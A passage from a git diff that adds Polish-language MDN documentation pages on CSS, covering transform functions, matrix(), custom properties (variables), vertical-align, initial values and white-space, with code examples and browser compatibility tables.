<dt>{{cssxref("transform-function/matrix3d","matrix3d()")}}</dt> + <dd>The <code>matrix3d()</code> CSS function describes a 3D transform as a 4x4 homogeneous matrix. The 16 parameters are described in the column-major order.</dd> + <dt>{{cssxref("transform-function/perspective","perspective()")}}</dt> + <dd>The <code>perspective()</code> CSS function defines the distance between the z=0 plane and the user in order to give to the 3D-positioned element some perspective. Each 3D element with z>0 becomes larger; each 3D-element with z<0 becomes smaller. The strength of the effect is determined by the value of this property.</dd> + <dt>{{cssxref("transform-function/rotate","rotate()")}}</dt> + <dd>The <code>rotate()</code> CSS function defines a transformation that moves the element around a fixed point (as specified by the {{ Cssxref("transform-origin") }} property) without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. A rotation by 180° is called <em>point reflection</em>.</dd> + <dt>{{cssxref("transform-function/rotate3d","rotate3d()")}}</dt> + <dd>The <code>rotate3d()</code>CSS function defines a transformation that moves the element around a fixed axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</dd> + <dt>{{cssxref("transform-function/rotateX","rotateX()")}}</dt> + <dd>The <code>rotateX()</code>CSS function defines a transformation that moves the element around the abscissa without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd> + <dd><code>rotateX(a)</code>is a shorthand for <code>rotate3D(1, 0, 0, a)</code>.</dd> + <dt>{{cssxref("transform-function/rotateY","rotateY()")}}</dt> + <dd>The <code>rotateY()</code>CSS function defines a transformation that moves the element around the ordinate without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd> + <dd><code>rotateY(a)</code>is a shorthand for <code>rotate3D(0, 1, 0, a)</code>.</dd> + <dt>{{cssxref("transform-function/rotateZ","rotateZ()")}}</dt> + <dd>The <code>rotateZ()</code>CSS function defines a transformation that moves the element around the z-axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd> + <dd><code>rotateZ(a)</code>is a shorthand for <code>rotate3D(0, 0, 1, a)</code>.</dd> + <dt>{{cssxref("transform-function/scale","scale()")}}</dt> + <dd>The <code>scale()</code> CSS function modifies the size of the element. It can either augment or decrease its size and as the amount of scaling is defined by a vector, it can do so more in one direction than in another one. This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If both coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</dd> + <dt>{{cssxref("transform-function/scale3d","scale3d()")}}</dt> + <dd>The <code>scale3d()</code> CSS function modifies the size of an element. Because the amount of scaling is defined by a vector, it can resize different dimensions at different scales. This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If all three coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</dd> + <dt>{{cssxref("transform-function/scaleX","scaleX()")}}</dt> + <dd>The <code>scaleX()</code> CSS function modifies the abscissa of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleX(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a vertical axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd> + <dd><code>scaleX(sx)</code> is a shorthand for <code>scale(sx, 1)</code> or for <code>scale3d(sx, 1, 1)</code>.</dd> + <dt>{{cssxref("transform-function/scaleY","scaleY()")}}</dt> + <dd>The <code>scaleY()</code> CSS function modifies the ordinate of each element point by a constant factor except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleY(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a horizontal axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd> + <dd><code>scaleY(sy)</code> is a shorthand for <code>scale(1, sy)</code> or for <code>scale3d(1, sy, 1)</code>.</dd> + <dt>{{cssxref("transform-function/scaleZ","scaleZ()")}}</dt> + <dd>The <code>scaleZ()</code> CSS function modifies the z-coordinate of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleZ(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> along the z-axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd> + <dd><code>scaleZ(sz)</code> is a shorthand for <code>scale3d(1, 1, sz)</code>.</dd> + <dt>{{cssxref("transform-function/skew","skew()")}}</dt> + <dd>The <code>skew()</code> CSS function is a shear mapping, or transvection, distorting each point of an element by a certain angle in each direction. It is done by increasing each coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd> + <dt>{{cssxref("transform-function/skewX","skewX()")}}</dt> + <dd>The <code>skewX()</code> CSS function is a horizontal shear mapping distorting each point of an element by a certain angle in the horizontal direction. It is done by increasing the abscissa coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd> + <dt>{{cssxref("transform-function/skewY","skewY()")}}</dt> + <dd>The <code>skewY()</code> CSS function is a vertical shear mapping distorting each point of an element by a certain angle in the vertical direction. It is done by increasing the ordinate coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd> + <dt>{{cssxref("transform-function/translate","translate()")}}</dt> + <dd>The <code>translate()</code> CSS function moves the position of the element on the plane. This transformation is characterized by a vector whose coordinates define how much it moves in each direction.</dd> + <dt>{{cssxref("transform-function/translate3d","translate3d()")}}</dt> + <dd>The <code>translate3d()</code> CSS function moves the position of the element in the 3D space. This transformation is characterized by a 3-dimension vector whose coordinates define how much it moves in each direction.</dd> + <dt>{{cssxref("transform-function/translateX","translateX()")}}</dt> + <dd>The <code>translateX()</code> CSS function moves the element horizontally on the plane. This transformation is characterized by a {{cssxref("<length>")}} defining how much it moves horizontally.</dd> + <dd><code>translateX(tx)</code> is a shortcut for <code>translate(tx, 0)</code>.</dd> + <dt>{{cssxref("transform-function/translateY","translateY()")}}</dt> + <dd>The <code>translateY()</code> CSS function moves the element vertically on the plane. This transformation is characterized by a {{cssxref("<length>")}} defining how much it moves vertically.</dd> + <dd><code>translateY(ty)</code> is a shortcut for <code>translate(0, ty)</code>.</dd> + <dt>{{cssxref("transform-function/translateZ","translateZ()")}}</dt> + <dd>The <code>translateZ()</code> CSS function moves the element along the z-axis of the 3D space. This transformation is characterized by a {{cssxref("<length>")}} defining how much it moves.</dd> + <dd><code>translateZ(tz)</code> is a shorthand for <code>translate3d(0, 0, tz)</code>.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td> + <td>{{Spec2('CSS3 Transforms')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td> + <td>9.0<sup>[2]</sup></td> + <td>10.5</td> + <td>3.1</td> + </tr> + <tr> + <td>3D Support</td> + <td>12.0</td> + <td>{{CompatGeckoDesktop("10.0")}}</td> + <td>10.0</td> + <td>15.0</td> + <td>4.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatAndroid(2.1)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>11.5</td> + <td>3.2</td> + </tr> + <tr> + <td>3D Support</td> + <td>{{CompatAndroid(3.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>22</td> + <td>3.2</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Gecko 14.0 removed the experimental support for <code>skew()</code>, but it was reintroduced in Gecko 15.0 for compatibility reasons. As it is non-standard and will likely be removed in the future, do not use it.</p> + +<p>Before Firefox 16, the translation values of <code>matrix()</code> and <code>matrix3d()</code> could be {{cssxref("length")}} in addition to the standard {{cssxref("number")}}.</p> + +<p>[2] Internet Explorer 5.5 or later supports a proprietary <a href="http://msdn.microsoft.com/en-us/library/ms533014%28VS.85,loband%29.aspx">Matrix Filter</a> which can be used to achieve a similar effect.</p> + +<p>Internet Explorer 9.0 or earlier has no support for 3D transforms. Mixing 3D and 2D transform functions, such as <code>-ms-transform: rotate(10deg) translateZ(0);</code>, will prevent the entire property from being applied.</p> diff --git a/files/pl/web/css/transform-function/matrix()/index.html b/files/pl/web/css/transform-function/matrix()/index.html new file mode 100644 index 0000000000..85a951052a --- /dev/null +++ b/files/pl/web/css/transform-function/matrix()/index.html @@ -0,0 +1,58 @@ +--- +title: matrix() +slug: Web/CSS/transform-function/matrix() +tags: + - CSS + - Funkcje CSS + - Referencje + - Transformacje CSS + - wymagaPrzykładu +translation_of: Web/CSS/transform-function/matrix() +--- +<div>{{CSSRef}}</div> + +<p>CSS-owa funkcja <code>matrix() </code>określa jednolitą macierz (matrix) transformacji 2D i składa się z sześciu określonych wartości. Wartości stałe tych macierzy są implementowane oraz nie działają jak parametry; pozostałe parametry są opisywane w porządku głównej kolumny.</p> + +<p><code>matrix(a, b, c, d, tx, ty)</code> to shorthand dla <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</p> + +<div class="note"><strong>Adnotacja</strong>: Od Firefoxa 16, Gecko akceptuje wartośc {{cssxref("<length>")}} dla <strong>tx </strong>oraz <strong>ty</strong>.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">matrix(<em>a</em>, <em>b</em>, <em>c</em>, <em>d</em>, <em>tx</em>, <em>ty</em>) +</pre> + +<h2 id="Wartości">Wartości</h2> + +<dl> + <dt><em>a</em> <em>b</em> <em>c</em> <em>d</em></dt> + <dd>{{cssxref("<number>")}} opisują transformacje linearne.</dd> + <dt><em>tx</em> <em>ty</em></dt> + <dd>{{cssxref("<number>")}} opisują transformacje do zastosowania.</dd> +</dl> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Współrzędne kartezjańskie na ℝ<sup>2</sup></th> + <th scope="col">Współrzędne jednorodne na ℝℙ<sup>2</sup></th> + <th scope="col">Współrzędne kartezjańskie na ℝ<sup>3</sup></th> + <th scope="col">Współrzędne jednorodne na ℝℙ<sup>3</sup></th> + </tr> + </thead> + <tbody> + <tr> + <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></td> + <td><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td> + <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td> + <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td> + </tr> + <tr> + <td><code>[a b c d tx ty]</code></td> + </tr> + </tbody> +</table> + +<h2 id="Przykłady">Przykłady</h2> + +<p>TBD</p> diff --git a/files/pl/web/css/using_css_custom_properties/index.html b/files/pl/web/css/using_css_custom_properties/index.html new file mode 100644 index 0000000000..c9b7089b07 --- /dev/null +++ b/files/pl/web/css/using_css_custom_properties/index.html @@ -0,0 +1,244 @@ +--- +title: Użycie zmiennych CSS +slug: Web/CSS/Using_CSS_custom_properties +translation_of: Web/CSS/Using_CSS_custom_properties +--- +<div>{{SeeCompatTable}}</div> + +<div></div> + +<p><strong>Zmienne CSS </strong>to zdefiniowane jednostki zawierające specyficzne wartości, reużywalne w całym dokumencie. Zmienne są ustawiane przy użyciu notacji właściwości niestandardowych (np. <strong><code>--kolor-glowny: black;</code></strong>) i mają dostęp do funkcji <code>var() (np. kolor: <strong>var(--kolor-glowny)</strong>;</code>) .</p> + +<p>Skomplikowane strony internetowe mają bardzo dużo powtarzającego się kodu CSS. Dla przykładu, taki sam kolor może być użyty setki razy w różnych miejscach, co w przypadku zmiany wymana globalnego wyszukiwania i zmian w wielu miejsach. Zmienne CSS pozwalają na przechowywanie wartości w jednym miejscu, zmiast wielu. Używają one również semantycznych identyfikatorów. Na przykład <code>--glowny-kolor-tekstu</code> jest łatwiejszy do zrozumienia niż <code>#00ff00</code> szczególnie gdy taki sam kolor jest użyty w różnych kontekstach.</p> + +<p>Zmienne CSS podlegają kaskadowości i dziedziczą wartości po rodzicach.</p> + +<h2 id="Podstawowe_użycie">Podstawowe użycie</h2> + +<p>Deklarowanie zmiennych:</p> + +<pre class="brush:css; highlight:[2] language-css">element { + --glowny-kolor-tla: brown; +} +</pre> + +<p>Użycie zmiennych:</p> + +<pre class="brush:css; highlight:[2] language-css">element { + background-color: var(--glowny-kolor-tla); +} +</pre> + +<div class="note"> +<p><strong>Notatka:</strong> Niestandardowy prefix <code>var-</code> istniał we wcześniejszych wersjach, jednak później został zmieniony na <code>--</code>. Firefox 31 i wyższy posiada nową specyfikację. ({{bug(985838)}})</p> +</div> + +<h2 id="Zmienne_CSS_-_pierwsze_kroki">Zmienne CSS - pierwsze kroki</h2> + +<p>Zacznijmy od prostego kodu CSS z różnymi klasami, których elementy posiadają różne kolory:</p> + +<div id="sample1"> +<pre class="brush:css; highlight:[3,20,26,32]">.jeden { + color: white; + background-color: brown; + margin: 10px; + width: 50px; + height: 50px; + display: inline-block; +} + +.dwa { + color: white; + background-color: black; + margin: 10px; + width: 150px; + height: 70px; + display: inline-block; +} +.trzy { + color: white; + background-color: brown; + margin: 10px; + width: 75px; +} +.cztery { + color: white; + background-color: brown; + margin: 10px; + width: 100px; +} + +.piec { + background-color: brown; +} + +</pre> + +<p>Implementujemy to w HTML'u:</p> + +<pre class="brush:html"><div> + <div class="jeden"></div> + <div class="dwa">Tekst <span class="cztery">- wiecej tekstu</span></div> + <input class="trzy"> + <textarea class="piec">Lorem Ipsum</textarea> +</div> +</pre> + +<p>co w efekcie daje nam:</p> + +<p>{{EmbedLiveSample("sample1",600,180)}}</p> + +<p><br> + Zauważ powtarzalność kodu CSS. Kolor tła jest ustawiony na brązowy w kilku miejscach.W niektórych przypadkach możemy zadeklarować kolor do wszystkich elementów, co rozwiązuje problem. Jednak w przypadku złożonych projektów, nie zawsze jest to możliwe. Deklarując zmienną przy pomocy pseudo-klasy :root, możemy przechowywać zmienną i używać jej według potrzeb.</p> +</div> + +<div id="sample2"> +<pre class="brush:css; highlight:[2, 7, 24,30,36]">:root { + --glowny-kolor-tla: brown; +} + +.jeden { + color: white; + background-color: var(--glowny-kolor-tla); + margin: 10px; + width: 50px; + height: 50px; + display: inline-block; +} + +.dwa { + color: white; + background-color: black; + margin: 10px; + width: 150px; + height: 70px; + display: inline-block; +} +.trzy { + color: white; + background-color: var(--glowny-kolor-tla); + margin: 10px; + width: 75px; +} +.cztery { + color: white; + background-color: var(--glowny-kolor-tla); + margin: 10px; + width: 100px; +} + +.piec { + background-color: var(--glowny-kolor-tla); +} + +</pre> + +<div style="display: none;"> +<pre class="brush:html"><div> + <div class="one"></div> + <div class="two">Text <span class="five">- more text</span></div> + <input class="three"> + <textarea class="four">Lorem Ipsum</textarea> +</div> +</pre> +</div> + +<p>Powyższy kod daje taki sam rezultat jak we wcześniejszym przykładzie. </p> + +<h2 id="Dziedziczenie_zmiennych_CSS">Dziedziczenie zmiennych CSS</h2> + +<p>Niestandardowe właściwości mogą być dziedziczone. Oznacza to, że jeśli dany element nie ma wartości, może użyć tej odziedziczonej od rodzica:</p> + +<pre class="brush: html"><div class="jeden"> + <div class="dwa"> + <div class="trzy"> + </div> + <div class="cztery"> + </div> + <div> +</div></pre> +</div> + +<p>z następującym kodem CSS:</p> + +<pre class="brush: css">.dwa { + --test: 10px; +} + +.trzy { + --test: 2em; +} +</pre> + +<p>W tym przykładzie wynikiem dla <code>var(--test)</code> jest:</p> + +<ul> + <li><code>class="dwa"</code> element: <code>10px</code></li> + <li><code>class="trzy"</code> element: <code>2em</code></li> + <li><code>class="cztery"</code> element: <code>10px</code> (odziedziczone od rodzica)</li> + <li><code>class="jeden"</code> element: <em>nieprawidłowa wartość</em>, która jest wartością domyślą każdej właściwości.</li> +</ul> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br> + 33.0<br> + {{CompatNo}} 34.0<sup>[2]</sup><br> + {{CompatChrome(49.0)}}</td> + <td>{{CompatGeckoDesktop("29")}}<sup>[3]</sup><br> + {{CompatGeckoDesktop("31")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera(36.0)}}</td> + <td>9.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{CompatGeckoDesktop("29")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9.1</td> + <td>{{CompatChrome(49.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Przeglądarka Chrome początkowo zaimplementowała zmienne CSS ze zmienioną składną, która wymagała niestandardowego prefixu przed nazwą zmiennej <code>-webkit-var-</code>. Można jej było następnie użyć przy pomocy funkcji <code>-webkit-var()</code>. Dodatkowo implementacja została ukryta pod flagą <em>Eksperymentalne funkcje platformy internetowej </em>pod <code>chrome://flags.</code></p> + +<p>[2] Chrome 34.0 usunął zmienne CSS ze względu na problemy z wydajnością.</p> + +<p>[3] Zmienne CSS są zaimplementowane w preferencjach <code>layout.css.variables.enabled</code>, standardowo ustawione na <code>false</code> i używające stare składnia <code>var-<var>variablename</var></code> w Gecko 29. Rozpoczynając od Gecko 31 implementacja jest włączona i używa nowej składni <code>--<var>variablename</var></code>.</p> diff --git a/files/pl/web/css/vertical-align/index.html b/files/pl/web/css/vertical-align/index.html new file mode 100644 index 0000000000..8e34977446 --- /dev/null +++ b/files/pl/web/css/vertical-align/index.html @@ -0,0 +1,66 @@ +--- +title: vertical-align +slug: Web/CSS/vertical-align +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/vertical-align +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Własność <code>vertical-align</code> określa wyrównanie pionowe elementów <i>inline</i> lub komórek tabeli. +</p> +<ul><li> {{ Xref_cssinitial() }}: {{ Cssxref("baseline") }} +</li><li> Stosowana do: elementy <i>inline</i> i komórki tabeli +</li><li> {{ Xref_cssinherited() }}: nie +</li><li> Media: {{ Xref_cssvisual() }} +</li><li> {{ Xref_csscomputed() }}: +</li></ul> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code>vertical-align:</code> <code>baseline</code> | <code>sub</code> | <code>super</code> | <code>text-top</code> | <code>text-bottom</code> | <code>middle</code> | <code>top</code> | <code>bottom</code> | <percentage> | <a href="pl/CSS/length"><length></a> | {{ Cssxref("inherit") }} +</p> +<h3 id="Warto.C5.9Bci_.28dla_element.C3.B3w_inline.29" name="Warto.C5.9Bci_.28dla_element.C3.B3w_inline.29"> Wartości (dla elementów inline) </h3> +<p>Większość wartości wyrównuje element w pionie w stosunku do jego rodzica: +</p> +<dl><dt>baseline </dt><dd>Wyrównuje linię bazową elementu z linią bazową jego rodzica. +</dd><dt>sub </dt><dd>Wyrównuje linię bazową elementu z linią bazową indeksu dolnego jego rodzica. +</dd><dt>super </dt><dd>Wyrównuje linię bazową elementu z linią bazową indeksu górnego jego rodzica. +</dd><dt>text-top </dt><dd>Wyrównuje górę elementu z górą czcionki elementu rodzica. +</dd><dt>text-bottom </dt><dd>Wyrównuje dół elementu z dołem czcionki elementu rodzica. +</dd><dt>middle </dt><dd>Wyrównuje środek elementu ze środkiem małych liter rodzica. +</dd><dt><a href="pl/CSS/length"><length></a> </dt><dd>Ustawia linię bazową elementu o daną wartość powyżej linii bazowej jego rodzica. +</dd><dt><percentage> </dt><dd>podobnie jak wartość <length> z procentami będącymi procentem własności {{ Cssxref("line-height") }} +</dd></dl> +<p>Dla elementów, które nie mają linii bazowej, używana jest w zamian dolna krawędź marginesu. +</p><p>Natomiast dwie wartości wyrównują element w pionie raczej względem całkowitej linii niż względem jego rodzica: +</p> +<dl><dt>top </dt><dd>Wyrównuje górę elementu i jego potomków z górą całkowitej linii. +</dd><dt>bottom </dt><dd>Wyrównuje dół elementu i jego potomków z dołem całkowitej linii. +</dd></dl> +<p>Wartości ujemne są dozwolone. +</p> +<h3 id="Warto.C5.9Bci_.28dla_kom.C3.B3rek_tabeli.29" name="Warto.C5.9Bci_.28dla_kom.C3.B3rek_tabeli.29"> Wartości (dla komórek tabeli) </h3> +<dl><dt>baseline (oraz sub, super, text-top, text-bottom, <length>, i <percentage>) </dt><dd> Wyrównuje linię bazową komórki z linią bazową wszystkich innych komórek w wierszu, które są wyrównane względem linii bazowej. +</dd><dt>top</dt><dd> Wyrównuje górną krawędź dopełnienia komórki z górą wiersza. +</dd><dt>middle</dt><dd> Centruje obszar dopełnienia komórki względem wiersza. +</dd><dt>bottom</dt><dd> Wyrównuje dolną krawędź dopełnienia komórki z dołem wiersza. +</dd></dl> +<p>Wartości ujemne są dozwolone. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<pre>img { + vertical-align: bottom; +} +</pre> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3> +<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#vertical-align">CSS 1</a> +</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#propdef-vertical-align">CSS 2.1</a> +</li></ul> +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85"> Zgodność z przeglądarką </h3> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p>{{ Cssxref("line-height") }}, {{ Cssxref("text-align") }}, {{ Cssxref("margin") }} (<code>auto</code>) +</p>{{ languages( { "en": "en/CSS/vertical-align", "fr": "fr/CSS/vertical-align" } ) }} diff --git a/files/pl/web/css/wartość_początkowa/index.html b/files/pl/web/css/wartość_początkowa/index.html new file mode 100644 index 0000000000..8144cb37ba --- /dev/null +++ b/files/pl/web/css/wartość_początkowa/index.html @@ -0,0 +1,25 @@ +--- +title: Wartość początkowa +slug: Web/CSS/Wartość_początkowa +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/initial_value +--- +<p>{{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Wartość początkowa</b> podana w podsumowaniu <a href="pl/Dokumentacja_CSS">każdej własności CSS</a> ma odmienne znaczenie <a href="pl/CSS/Dziedziczenie">własności dziedziczonych i własności niedziedziczonych</a>. +</p><p>Dla <a href="pl/CSS/Dziedziczenie#W.C5.82asno.C5.9Bci_dziedziczone">własności dziedziczonych</a> wartość początkowa używana jest <b>tylko</b> dla elementu źródłowego, gdy nie określono wartości elementu. +</p><p>Dla <a href="pl/CSS/Dziedziczenie#W.C5.82asno.C5.9Bci_niedziedziczone">własności niedziedziczonych</a> wartość początkowa używana jest dla <b>każdego</b> elementu, gdy nie określono wartości elementu. +</p><p>W CSS3 dodano wartość <code><a href="pl/CSS/initial">initial</a></code>, by pozwolić autorom na wyraźne określenie wartości początkowej. +</p> +<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC"> Zobacz również </h3> +<p><a href="pl/CSS/Dziedziczenie">Własności dziedziczone i niedziedziczone</a>, <code><a href="pl/CSS/initial">initial</a></code> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/initial_value", "es": "es/CSS/Valor_inicial", "fr": "fr/CSS/Valeur_initiale", "ja": "ja/CSS/initial_value", "ko": "ko/CSS/initial_value" } ) }} diff --git a/files/pl/web/css/white-space/index.html b/files/pl/web/css/white-space/index.html new file mode 100644 index 0000000000..fc891b4ce1 --- /dev/null +++ b/files/pl/web/css/white-space/index.html @@ -0,0 +1,93 @@ +--- +title: white-space +slug: Web/CSS/white-space +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/white-space +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność CSS <code>white-space</code> jest używana do opisu sposobu, w jaki białe znaki są traktowane wewnątrz elementu.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">white-space: normal | pre | nowrap | pre-wrap | -moz-pre-wrap | pre-line | inherit ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>{{ Cssxref("normal") }}</dt> + <dd>wszystkie sekwencje białych znaków i zakończenia linii będą skracane. Zakończenia linii nie likwidują zawijania zawartości.</dd> + <dt>{{ Cssxref("pre") }}</dt> + <dd>wszystkie białe znaki w źródle będą zachowane, linie są przełamane tylko na znakach nowej linii w źródle.</dd> + <dt>{{ Cssxref("nowrap") }}</dt> + <dd>wszystkie sekwencje białych znaków i zakończenia linii będą skracane, również przełamania linii (zawijanie tekstu) są zlikwidowane wewnątrz zawartości.</dd> + <dt>{{ Cssxref("pre-wrap") }} {{ Fx_minversion_inline(3) }}</dt> + <dd>wszystkie białe znaki w źródle będą zachowane, linie są przełamane na znakach nowej linii i w razie konieczności zawijają zawartość.</dd> + <dt>{{ Cssxref("-moz-pre-wrap") }} {{ Deprecated_inline() }}</dt> + <dd>identyczne jak <code>pre-wrap</code>, jest to rozszerzenie Mozilli, które stało się własnością CSS 2.1 <code>pre-wrap</code>, która powinna być używana zamiast niego.</dd> + <dt>{{ Cssxref("pre-line") }}</dt> + <dd>wszystkie sekwencje białych znaków będą skrócone, linie są przełamane na znakach nowej linii i również w razie potrzeby zawartość jest zawijana.</dd> + <dt>{{ Cssxref("inherit") }}</dt> + <dd>dziedziczy po rodzicu.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="eval">code { + white-space: pre; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p><code>pre-line</code> nie jest jeszcze zaimplementowane w Mozilli.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#white-space-prop">CSS 2.1 text</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS1#white-space">CSS 1</a></li> + <li><a class="external" 